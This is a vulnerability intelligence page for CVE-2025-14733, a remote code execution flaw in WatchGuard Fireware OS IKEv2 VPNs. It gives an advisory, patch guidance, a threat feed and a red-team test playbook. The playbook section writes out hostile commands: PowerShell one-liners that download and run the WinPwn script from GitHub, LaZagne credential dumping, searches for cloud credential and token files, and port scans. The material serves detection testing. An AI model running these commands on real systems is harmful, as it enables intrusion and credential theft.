CVE-2025-14733
Overview
This vulnerability is an out-of-bounds write in the WatchGuard Fireware OS VPN components. The root cause lies in improper bounds checking when processing IKEv2 packets for Mobile User VPN and Branch Office VPN configured with dynamic gateway peers. The flaw occurs within the Fireware OS VPN protocol handling code, leading to memory corruption due to writing outside allocated buffers.
Vulnerability Description
An Out-of-bounds Write vulnerability in WatchGuard Fireware OS may allow a remote unauthenticated attacker to execute arbitrary code. This vulnerability affects both the Mobile User VPN with IKEv2 and the Branch Office VPN using IKEv2 when configured with a dynamic gateway peer.This vulnerability affects Fireware OS 11.10.2 up to and including 11.12.4_Update1, 12.0 up to and including 12.11.5 and 2025.1 up to and including 2025.1.3.
Impact
A remote unauthenticated attacker can exploit this vulnerability to execute arbitrary code on the affected device. No prior authentication or user interaction is necessary, enabling full compromise of the Fireware OS system. This can lead to complete control over network security functions, unauthorized data access, lateral movement within protected networks, and potential disruption of VPN services critical to enterprise operations.
Solution
Apply the patches provided by WatchGuard as detailed in advisory WGSA-2025-00027 available at https://www.watchguard.com/wgrd-psirt/advisory/wgsa-2025-00027. Affected Fireware OS versions include 11.10.2 through 11.12.4_Update1, 12.0 through 12.11.5, and 2025.1 through 2025.1.3; upgrade to fixed versions beyond these releases. Follow vendor instructions strictly to update VPN configurations and firmware to mitigate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in WatchGuard Fireware OS is characterized as an out-of-bounds write issue, which can lead to the execution of arbitrary code by an unauthenticated remote attacker. This flaw arises from improper handling of memory during the processing of IKEv2 (Internet Key Exchange version 2) for both Mobile User VPN and Branch Office VPN configurations that utilize dynamic gateway peers. When exploited, this vulnerability allows an attacker to write data outside the bounds of allocated memory, potentially overwriting critical data structures or control flow information. This can result in the execution of malicious code, effectively compromising the integrity and confidentiality of the affected systems.
Attack vectors for this vulnerability are particularly concerning due to the remote and unauthenticated nature of the exploit. An attacker could target systems running vulnerable versions of Fireware OS by sending specially crafted packets to the VPN services. Given that the affected configurations are often deployed in environments where secure remote access is essential, the potential for exploitation is significant. Scenarios could include an attacker gaining access to sensitive corporate networks, intercepting or manipulating data in transit, or deploying malware that could further compromise network security. The ability to execute arbitrary code remotely means that the attacker could potentially gain full control over the affected device, leading to a range of malicious activities.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on WatchGuard Fireware OS for secure communications. The high CVSS score indicates a critical risk, suggesting that successful exploitation could lead to severe consequences, including data breaches, loss of sensitive information, and disruption of business operations. Organizations may face not only financial losses due to downtime and recovery efforts but also reputational damage and regulatory penalties if sensitive data is compromised. The interconnected nature of modern networks means that the ramifications of such an attack could extend beyond the immediate target, affecting partners, clients, and other stakeholders.
To detect and mitigate the risks associated with this vulnerability, organizations should adopt a multi-faceted approach. Regularly updating Fireware OS to the latest patched versions is crucial, as vendors typically release security updates to address known vulnerabilities. Implementing network segmentation can limit the exposure of critical systems to potential attacks, while robust firewall rules can help filter out malicious traffic. Additionally, organizations should employ intrusion detection and prevention systems to monitor for unusual activity that may indicate an attempted exploit. Regular security audits and vulnerability assessments will also aid in identifying and addressing weaknesses in the network infrastructure.
In conclusion, the out-of-bounds write vulnerability in WatchGuard Fireware OS presents a significant threat to organizations utilizing this technology for secure communications. The potential for remote exploitation by unauthenticated attackers underscores the need for proactive security measures and diligent patch management. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against potential exploits and safeguard their critical assets.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2025-14733, indicating increased adversary interest and potential exploitation attempts targeting vulnerable WatchGuard Fireware OS deployments. This surge in telemetry suggests that threat actors are actively probing or attempting to leverage the out-of-bounds write flaw, particularly in configurations using dynamic gateway peers with IKEv2 VPNs. Although no new proof-of-concept exploits have surfaced publicly, the rising detection trend coupled with the vulnerability’s critical severity and high EPSS percentile underscores an elevated risk posture. Defenders should recognize that this uptick in activity may presage more sophisticated or widespread exploitation campaigns, increasing the likelihood of successful remote code execution attacks if systems remain unpatched. Consequently, the threat level associated with CVE-2025-14733 has intensified, warranting heightened vigilance and prioritization within security operations.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Watchguard | Fireware | All |
cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:*
|
|
|
Watchguard | Fireware | All |
cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:*
|
|
|
Watchguard | Fireware | All |
cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
machevalia/CVE-2025-14733
|
machevalia | 0 | 0 | 2025-12-23 | View |
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-14733 |
| watchguard.com |
GitHub CVE
|
https://www.watchguard.com/wgrd-psirt/advisory/wgsa-2025-00027 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-14733 |